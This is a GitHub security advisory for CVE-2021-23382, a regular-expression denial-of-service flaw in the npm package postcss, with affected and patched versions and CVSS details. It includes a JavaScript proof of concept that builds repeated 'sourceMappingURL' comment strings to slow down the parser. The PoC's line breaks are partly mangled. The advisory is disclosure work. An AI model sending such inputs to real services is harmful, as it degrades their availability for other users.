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Regular Expression Denial of Service in postcss

Moderate severity GitHub Reviewed Published Jan 7, 2022 to the GitHub Advisory Database • Updated Sep 8, 2023

Package

npm postcss (npm)

Affected versions

>= 8.0.0, < 8.2.13
< 7.0.36

Patched versions

8.2.13
7.0.36

Description

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

References

Published by the National Vulnerability Database Apr 26, 2021
Reviewed May 20, 2021
Published to the GitHub Advisory Database Jan 7, 2022
Last updated Sep 8, 2023

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

EPSS score

0.224%
(60th percentile)

Weaknesses

CVE ID

CVE-2021-23382

GHSA ID

GHSA-566m-qj78-rww5

Source code

No known source code

Credits

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